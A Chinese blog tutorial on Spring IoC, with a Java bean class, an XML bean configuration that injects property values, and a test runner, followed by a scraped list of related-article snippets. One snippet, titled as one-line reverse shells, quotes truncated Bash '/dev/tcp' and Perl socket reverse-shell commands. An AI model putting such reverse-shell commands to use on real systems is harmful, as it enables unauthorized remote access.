Ioc,控制反转,依赖注入!

作用:降低代码之间的耦合性

代码永远是最好的示例:

1.新建test类

package demo;

public class test {
	String string_var;
	int int_var;
	char char_var;
	double double_var;

	public String getString_var() {
		return string_var;
	}

	public void setString_var(String string_var) {
		this.string_var = string_var;
	}

	public int getInt_var() {
		return int_var;
	}

	public void setInt_var(int int_var) {
		this.int_var = int_var;
	}

	public char getChar_var() {
		return char_var;
	}

	public void setChar_var(char char_var) {
		this.char_var = char_var;
	}

	public double getDouble_var() {
		return double_var;
	}

	public void setDouble_var(double double_var) {
		this.double_var = double_var;
	}

	public void inin(){
		System.out.println("在init()方法中String的值是:"+string_var);
		System.out.println("在init()方法中int的值是:"+int_var);
		System.out.println("在init()方法中char的值是:"+char_var);
		System.out.println("在init()方法中double的值是:"+double_var);
	}

	public void printAll(){
		System.out.println("在printAll()方法中String的值是:"+string_var);
		System.out.println("在printAll()方法中int的值是:"+int_var);
		System.out.println("在printAll()方法中char的值是:"+char_var);
		System.out.println("在printAll()方法中double的值是:"+double_var);
	}
}

2.新建applicationContext.xml配置文件<?xml version="1.0" encoding="UTF-8"?><beans

	xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:p="http://www.springframework.org/schema/p"
	xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd">
	<!-- init-method属性:在取得Bean实例并对属性进行注入以后自动执行的,
		 可解决注入后对属性值进行继续更改的操作;唯一id名,class为类的路径 -->
	<bean id="test_ref" class="demo.test" init-method="inin">
          <!-- 对类里的字段进行注入值 --> <property name="string_var" value="高渐离"></property> <property name="int_var" value="66"></property> <property name="char_var" value="女"></property> <property name="double_var" value="66.66"></property> </bean>
<bean id="runit_ref" class="demo.runit">
          <!-- ref引用test_ref --> <property name="test_ref" ref="test_ref"></property> </bean> </beans>

3.新建runit类,方便测试,直接写了main方法

package demo;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class runit {
    test test_ref;

    public test getTest_ref() {
        return test_ref;
    }

    public void setTest_ref(test test_ref) {
        this.test_ref = test_ref;
    }
    public static void main (String[] args){
        ApplicationContext contex = new ClassPathXmlApplicationContext("applicationContext.xml");
        runit runit_ref = (runit) contex.getBean("runit_ref");
        runit_ref.getTest_ref().printAll();
    }
}

  以上示例只展示了基本数据类型的注入,还有构造方法、Properties文件等注入方法!自己查去吧!

Sping之Ioc的更多相关文章

  1. 【Java】模拟Sping,实现其IOC和AOP核心(一)

    在这里我要实现的是Spring的IOC和AOP的核心,而且有关IOC的实现,注解+XML能混合使用! 参考资料: IOC:控制反转(Inversion of Control,缩写为IoC),是面向对象 ...

  2. Spring——IoC

    控制反转(Inversion ofControl,英文缩写为IoC)是一种能够解耦的方法,不是什么技术.是一种思想,也是轻量级的Spring框架的核心.控制反转一般分为两种类型.依赖注入(Depend ...

  3. Spring中基于注解的IOC(二):案例与总结

    2.Spring的IOC案例 创建maven项目 导入依赖 pom.xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ...

  4. ASP.NET跨平台最佳实践

    前言 八年的坚持敌不过领导的固执,最终还是不得不阔别已经成为我第二语言的C#,转战Java阵营.有过短暂的失落和迷茫,但技术转型真的没有想象中那么难.回头审视,其实单从语言本身来看,C#确实比Java ...

  5. 初识SSH框架

    想了解SSH的工作原理吗?还不快快来看我的新文章----ssh框架的工作原理 也许你还不知道SSH存在的意义,但只是因为在没点开这篇文章之前的事了. SSH由Strut2,Spring,Hiberna ...

  6. Spring容器的工具类

    代码实现: package com.ht.util; import java.util.Map; import org.springframework.beans.BeansException; im ...

  7. ASP.NET跨平台

    ASP.NET跨平台最佳实践 前言 八年的坚持敌不过领导的固执,最终还是不得不阔别已经成为我第二语言的C#,转战Java阵营.有过短暂的失落和迷茫,但技术转型真的没有想象中那么难.回头审视,其实单从语 ...

  8. java框架常见的面试题

    1.谈谈你对MVC的理解 MVC是Model—View—Controler的简称.即模型—视图—控制器.MVC是一种设计模式,它强制性的把应用程序的输入.处理和输出分开. MVC中的模型.视图.控制器 ...

  9. Webservice实践(七)CXF 与Spring结合+tomcat发布

    上一节介绍了如何使用CXF 来发布服务,但是没有介绍使用web 容器来发布,很多项目需要用tomcat 这样的容器来发布.另外本节将介绍CXF 与spring 结合的方法. 一 目标: 1.利用spi ...

随机推荐

  1. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  2. Elasticsearch索引和文档操作

    列出所有索引 现在来看看我们的索引 GET /_cat/indices?v 响应 health status index uuid pri rep docs.count docs.deleted st ...

  3. Spring学习(20)--- Schema-based AOP(基于配置的AOP实现) -- 配置切入点pointcut

    pointcut(切断点)表达式: execution(public * *(..)) execution(* set*(..)) execution(* com.xyz.service.Accoun ...

  4. 平衡树初阶——AVL平衡二叉查找树+三大平衡树(Treap + Splay + SBT)模板【超详解】

    平衡树初阶——AVL平衡二叉查找树 一.什么是二叉树 1. 什么是树. 计算机科学里面的树本质是一个树状图.树首先是一个有向无环图,由根节点指向子结点.但是不严格的说,我们也研究无向树.所谓无向树就是 ...

  5. [0] WCF开发下,提示HTTP 无法注册 URL 进程不具有此命名空间的访问权限

    Visual Studio以管理员的身份运行就可以了.

  6. ajax、PHP、session做购物车

    购物车网页代码 1.登录界面login.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ...

  7. Javascript 严格模式use strict

    一.概述 除了正常运行模式,ECMAscript 5添加了第二种运行模式:“严格模式”(strict mode).顾名思义,这种模式使得Javascript在更严格的条件下运行. 设立”严格模式”的目 ...

  8. URLWRITE视图重写技术

    UrlRewrite就是地址重写,用户得到的全部都是经过处理后的URL地址,类似于Apache的mod_rewrite.将我们的动态网页地址转化为静态的地址,如html.shtml,还可以隐藏网页的真 ...

  9. 谈谈java中遍历Map的几种方法

    java中的map遍历有多种方法,从最早的Iterator,到java5支持的foreach,再到java8 Lambda,让我们一起来看下具体的用法以及各自的优缺点 先初始化一个map public ...

  10. java执行程序的内存分析系列专栏

    近段时间研究了java的程序执行过程中的内存分配,收获颇多,解决了我最近时间学习java的很多困惑点.写java内存分析系列的目的主要有两个,一来是希望给像我一样的java初学者一定的启发,希望也能解 ...